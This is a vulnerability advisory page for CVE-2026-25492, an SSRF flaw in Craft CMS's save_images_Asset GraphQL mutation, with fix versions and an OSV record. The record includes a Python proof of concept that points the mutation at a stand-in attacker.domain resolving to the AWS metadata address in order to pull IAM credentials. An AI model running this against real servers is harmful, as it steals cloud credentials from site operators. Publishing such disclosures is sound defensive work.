CVE-2026-25492: Craft CMS Save_images_Asset Graphql Mutation Can Be Vulnerability
MODERATECVE-2026-25492 is a MODERATE save_images_asset graphql mutation can be vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Craft CMS libraries in the Packagist ecosystem. The issue involves save_images_asset graphql mutation can be abused to exfiltrate aws credentials of underlying host. Remediation is available by upgrading affected packages to version 5.8.22, 4.16.18.
CVE-2026-25492 at a Glance
How to Fix CVE-2026-25492
To remediate this vulnerability, upgrade all affected Craft CMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade craftcms/craft to 5.8.22
Upgrade craftcms/craft to 4.16.18
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for craftcms/craft
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25492, inspect your project dependencies for Craft CMS:
inspect dependencies for craftcms/craft
Analyze the terminal output to locate any version of Craft CMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.22), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Craft CMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25492 Affected Craft CMS Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
craftcms/craft
|
Packagist |
≥ 5.0.0-RC1
< 5.8.22
|
5.8.22
|
|
craftcms/craft
|
Packagist |
≥ 3.5.0
< 4.16.18
|
4.16.18
|
References
Frequently Asked Questions
What is CVE-2026-25492?
Which Craft CMS versions are affected?
What version fixes CVE-2026-25492?
Is craftcms/craft affected?
What CWE is associated with CVE-2026-25492?
How can I check Packagist dependencies for CVE-2026-25492?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-96pq-hxpw-rgh8",
"modified" : "2026-02-09T22:38:27Z",
"published" : "2026-02-09T20:35:23Z",
"aliases" : [ "CVE-2026-25492" ],
"summary" : "Craft CMS: save_images_Asset graphql mutation can be abused to exfiltrate AWS credentials of underlying host",
"details" : "### Summary\n\n- The save_images_Asset graphql mutation allows a user to give a url of an image to download. (Url must use a domain, not a raw IP.)\n- Attacker sets up domain attacker.domain with an A record of something like 169.254.169.254 (special AWS metadata IP)\n- Attacker invokes save_images_Asset with url: http://attacker.domain/latest/meta-data/iam/security-credentials and filename \"foo.txt\"\n- Craft fetches sensitive information on attacker's behalf, and makes it available for download at /assets/images/foo.txt\n- Normal checks to verify that image is valid are bypassed because of .txt extension\n- Normal checks to verify that url is not an IP address are bypassed because user provided a valid domain that resolves to a sensitive internal IP address\n\n### Details\n\nhandleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the save_images_Asset mutation.\n\nIt has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):\n\n```\n } elseif (!empty($fileInformation['url'])) {\n $url = $fileInformation['url'];\n\n // make sure the hostname is alphanumeric and not an IP address\n $hostname = parse_url($url, PHP_URL_HOST);\n if (\n !filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) ||\n filter_var($hostname, FILTER_VALIDATE_IP)\n ) {\n throw new UserError(\"$url contains an invalid hostname.\");\n }\n\n if (empty($fileInformation['filename'])) {\n $filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFO_BASENAME));\n } else {\n $filename = AssetsHelper::prepareAssetName($fileInformation['filename']);\n }\n\n $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n if (is_array($allowedExtensions) && !in_array($extension, $allowedExtensions, true)) {\n throw new AssetDisallowedExtensionException(Craft::t('app', \"“{$extension}” is not an allowed file extension.\"));\n }\n```\n\nThe upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.\n\nAn authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.\n\n- First, the attacker must register a domain -- e.g. attacker.domain. \n- Next, they must point their domain at the sensitive internal ip they'd like to access (e.g. 169.254.169.254)\n- Next, they make a request to save_images_Asset with url set to http://attacker.domain/sensitive/path with filename set to \"something.txt\"\n- Finally the attacker makes a http request to retrieve /assets/images/something.txt, which contains sensitive information\n\n\n### PoC\n\n#### Preconditions\n\n- Graphql access must be enabled\n- Attacker must have access to a graphql token\n- Token must be configured to have access to save_images_Asset mutation\n- Attacker must have configured a domain, \"attacker.domain\" pointing to the sensitive internal IP address they'd like to access\n- .txt must be an allowed extension for uploads via save_images_Asset (as it is by default)\n\n#### Code\n\n```\nimport requests\n\n# Replace GRAPHQL_ENDPOINT and BEARER_TOKEN per target.\nGRAPHQL_ENDPOINT = 'http://localhost:8080/actions/graphql/api'\nTOKEN = '<TOKEN HERE>'\n\nmutation = '''\nmutation SaveAsset($_file: FileInput!, $title: String, $focalPoint: String) { save_images_Asset(_file: $_file,\n title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } }\n'''\n\nvariables = {\n '_file': {\n 'url' : \"http://attacker.domain/latest/meta-data/iam/security-credentials\",\n 'filename': 'foo.txt'\n\n },\n \"title\": \"my photo\",\n \"focalPoint\": \"0.5;0.5\"\n\n}\n\nresp = requests.post(GRAPHQL_ENDPOINT,\n json={'query': mutation, 'variables': variables},\n headers={'Authorization': f'Bearer {TOKEN}'})\nprint(resp.status_code, resp.text)\n```\n\nIf attack is successful, response to running this script will be something like:\n\n```\n200 {\"data\":{\"save_images_Asset\":{\"id\":\"211403\",\"title\":\"my photo\",\"url\":\"http://localhost:8080/assets/volumes/images/foo.txt\",\"filename\":\"foo.txt\",\"focalPoint\":null,\"dateCreated\":\"2025-12-18T09:45:24-08:00\"}}}\n```\n\nAttacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt\n\n\n### Impact\n\nImpacted users must:\n\n- Have graphql enabled\n- Have a graphql token created with permissions to use save_images_Asset\n- Have graphql token stolen by attacker or abused by malicious insider\n\nImpact is heightened if:\n\n- craft is running on something like an AWS EC2 instance, which has a well-known, sensitive internal http address that can be accessed to fetch metadata. \n\nUltimate result is:\n\nAttacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "craftcms/craft"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "5.0.0-RC1"
}, {
"fixed" : "5.8.22"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.8.21"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "craftcms/craft"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.5.0"
}, {
"fixed" : "4.16.18"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.16.17"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/security/advisories/GHSA-96pq-hxpw-rgh8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25492"
}, {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/commit/e838a221df2ab15cd54248f22fc8355d47df29ff"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/craftcms/cms"
}, {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/releases/tag/4.16.18"
}, {
"type" : "WEB",
"url" : "https://github.com/craftcms/cms/releases/tag/5.8.22"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-09T20:35:23Z",
"nvd_published_at" : "2026-02-09T20:15:57Z"
}
}